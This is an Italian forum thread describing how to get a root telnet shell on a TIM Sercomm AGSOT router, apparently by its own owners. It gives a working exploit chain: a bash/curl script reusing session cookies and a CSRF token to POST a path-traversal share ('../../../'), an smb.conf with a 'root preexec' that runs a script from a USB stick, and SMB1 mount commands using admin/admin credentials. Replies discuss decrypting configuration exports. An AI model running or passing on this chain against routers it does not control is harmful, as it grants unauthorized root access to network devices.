Mi scuso per il post disordinato, però credo che questo "riassunto" sia utile.
Confermo che funziona anche con la versione 2.1.0 del firmware per AGSOT, però ci vuole molta pazienza. Andreyo suggerisce una parte degli aggiustamenti da fare.
La penna usb nel mio caso viene chiamata DataTraveler210, non USB2FlashStorage, questo nome va sostituito in più punti:
va aggiustata la seconda riga con il nome giusto, nel mio caso diventa:
exec > /mnt/shares/DataTraveler210/Partition1/it_worked 2>&1 poi va aggiustato il finale del file smb.conf:
[...]
[Partition1]
follow symlinks = yes
wide links = no
path=/mnt/shares
security = share
writeable = yes
root preexec = /bin/sh -c "/mnt/shares/DataTraveler210/Partition1/runme > /tmp/aaaaaa"
guest account = admin
Inoltre il fatto che la procedura POST ritorni 200 non è detto che sia buono, ed è stato il fatto più rognoso di tutti, a me tornava 200 ... sulla pagina di login, esempio:
HTTP/1.0 200 OK
Content-Type: text/html
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
X-XSS-Protection: 1; report=http://www.example.com/xss
<script> top.location.href="/login.html"; </script>
Qui status code è 200, però la riga finale a occhio dice che mi ha rimandato al login, quindi

Qui c'è il campo minato.
La mia soluzione è passare via curl anche un po' di cookie validi, presi da una sessione già aperta in un browser, oltre al CSRF giusto. Ho scritto uno script un po' bruttino in bash:
function produce() {
cat headers
}
COOKIE=$(produce | grep Cookie)
CSRF=$(produce | grep GET | cut -d'=' -f3 | cut -d' ' -f1)
curl -v -H "${COOKIE}" -X POST -i 'http://192.168.1.1/data/settings_content_sharing_device.json?_=1581445756953&csrf_token='$CSRF --data 'sharing_device=[{"device_id":"1","root_folder":"/","ns_content_sharing_enable":"1","ns_require_username_password":"0","ns_user_id":"1","ns_share_all_folders":"0","ns_share_folder_data":"1|root|../../../:0|Partition1|:"}]'
curl -H "${COOKIE}" -i 'http://192.168.1.1/data/settings_network_sharing.json?_=1581445756953&csrf_token='$CSRF
curl -H "${COOKIE}" -i 'http://192.168.1.1/data/settings_content_sharing_device.json?_=1581445756953&csrf_token='$CSRF
Adesso va creato un file chiamato headers nella stessa cartella che contiene questo script, dove salvare i cookie, tra l'altro è necessario pure fare veloce altrimenti i dati vengono invalidati (equivale a fare un nuovo login). Questa è la strategia: con chrome accedo alla pagina di configurazione del router, scelgo una pagina a caso (Settings) poi dagli strumenti per sviluppatori nella scheda network, filtro con stringa "json" e poi prendo uno dei risultati, click destro, copy, copy
request headers, ottengo per esempio:
GET /data/settings_password.json?_=1581463574502&csrf_token=HK51CB4002JW08D7F053 HTTP/1.1
Host: 192.168.1.1
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36
Referer: http://192.168.1.1/settings.html
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,it;q=0.8,it-IT;q=0.7
Cookie: Session=0; username=admin; login_uid=0.6490536267857148; session_id=51CB400208D7F05371DF2A3B
Tutte le vie sono lecite per creare il file, a me piace fare
cat <<EOF > headers
<ora incollare!>
EOF
Questo è un esempio di una richiesta GET che va a buon fine, fatta su
http://192.168.1.1/data/settings_network_sharing.json, che ritorna lo stato del servizio di condivisione (l'ultima riga è quella che conta):
HTTP/1.0 200 OK
Content-Type: text/html
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
X-XSS-Protection: 1; report=http://www.example.com/xss
[ { "network_sharing_enable": "1" } ]
Lo script non fa solo la richiesta POST, ci ho aggiunto anche due GET come controllino, per essere sicuro che la procedura funzioni. Ci sono arrivato parecchio per gradi.
Altra mina da schivare: windows 10 ha bloccato la condivisione file e cartelle con protocollo antico, che è esattamente quella che usa il firmware del router, quindi o si riattiva il supporto alle vecchie versioni del protocollo CIFS o samba o quel che è, oppure occorre linux, io ho usato una macchina virtuale, non so se WSL è sufficiente.
Se non bastasse, c'è un'altra mina ancora: pure le utility di linux nelle versioni recenti disattivano la versione antica di condivisione file e cartelle. Io ho trovato utile usare smbclient per vedere se compariva la nuova cartella condivisa:
smbclient -m NT1 --option='client min protocol = CORE' -U admin%admin -L 192.168.1.1
(qui la mina è che -m NT1 non basta, serve anche --option.....)
dopo aver avuto successo con curl ritorna
Sharename Type Comment
--------- ---- -------
IPC$ IPC IPC Service (ModemTIM File-Server)
Partition1 Disk
root Disk
Reconnecting with SMB1 for workgroup listing.
Server Comment
--------- -------
Workgroup Master
--------- -------
MODEMTIM MODEMTIM
Come si vede, ci sono 2 cartelle condivise dal modem, root e Partition1 (la penna usb). Per montare invece basta specificare vers=1.0, esempio:
mount -t cifs //192.168.1.1/root /mnt/timroot -o user=admin,pass=admin,vers=1.0 Una volta montata la partizione root via cifs il difficile è passato. Si procede come da istruzioni originali di xMase, con una cautela, il file /tmp/samba/smb.conf non è scrivibile, ma si può cancellare, e poi si può copiare la versione dalla penna usb, che si troverà in (mio caso) /mnt/shares/DataTraveler210/........
A questo punto mi è bastato smontare e rimontare la cartella condivisa della penna usb, ho fatto un ciclo while in uno script senza tanti complimenti, ed è partito telnet.
Devo dire che a questo punto però non so che farci

Sto provando a capire il file libfwutil.so per comprendere come decifrare l'export della configurazione.
Siccome il mio Sercomm è morto qualcuno riesce a farmi avere un file di configurazione esportato?
Buonasera
@ftp21 ,
ho caricato qui il backup della mia configurazione.
https://filebin.net/oc6e0r9v8xzgzb76Come hai capito che bisogna guardare in libfwutil.so?